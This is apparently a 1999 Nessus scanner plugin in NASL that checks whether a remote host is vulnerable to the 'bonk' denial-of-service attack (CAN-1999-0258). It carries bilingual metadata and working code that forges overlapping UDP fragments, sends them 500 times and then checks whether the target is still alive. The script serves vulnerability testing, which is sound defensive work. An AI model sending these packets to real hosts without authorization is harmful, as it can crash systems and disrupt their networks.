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#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#
if(description)
{
script_id(10030);
script_cve_id("CAN-1999-0258");
name["english"] = "Bonk";
name["francais"] = "Bonk";
script_name(english:name["english"], francais:name["francais"]);
desc["english"] = "It was possible
to make the remote server crash
using the 'bonk' attack.
A cracker may use this attack to
shut down this server, thus
preventing your network from
working properly.
Solution : contact your operating
system vendor for a patch.
Risk factor : High";
desc["francais"] = "Il s'est avr
possible de faire planter la
machine distante en utilisant
l'attaque 'bonk'.
Un pirate peut utiliser cette
attaque pour empecher votre
rseau de fonctionner normallement.
Solution : contactez le vendeur
de votre OS pour un patch.
Facteur de risque : Elev";
script_description(english:desc["english"], francais:desc["francais"]);
summary["english"] = "Crashes the remote host using the 'bonk' attack";
summary["francais"] = "Plante le serveur distant en utilisant l'attaque 'bonk'";
script_summary(english:summary["english"], francais:summary["francais"]);
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
family["english"] = "Denial of Service";
family["francais"] = "Dni de service";
script_family(english:family["english"], francais:family["francais"]);
exit(0);
}
#
# The script code starts here
#
start_denial();
PADDING = 0x1c;
FRG_CONST = 0x3;
sport = 123;
dport = 321;
addr = this_host();
ip = forge_ip_packet(ip_v : 4,
ip_hl : 5,
ip_len : 20 + 8 + PADDING,
ip_id : 0x455,
ip_p : IPPROTO_UDP,
ip_tos : 0,
ip_ttl : 0x40,
ip_off : IP_MF,
ip_src : addr);
udp1 = forge_udp_packet( ip : ip, uh_sport: sport, uh_dport: dport,
uh_ulen : 8 + PADDING);
set_ip_elements(ip : ip, ip_off : FRG_CONST + 1, ip_len : 20 + FRG_CONST);
udp2 = forge_udp_packet(ip : ip,uh_sport : sport, uh_dport : dport,
uh_ulen : 8 + PADDING);
send_packet(udp1, udp2, pcap_active:FALSE) x 500;
sleep(5);
alive = end_denial();
if(!alive){
set_kb_item(name:"Host/dead", value:TRUE);
security_hole(0, protocol:"udp");
}
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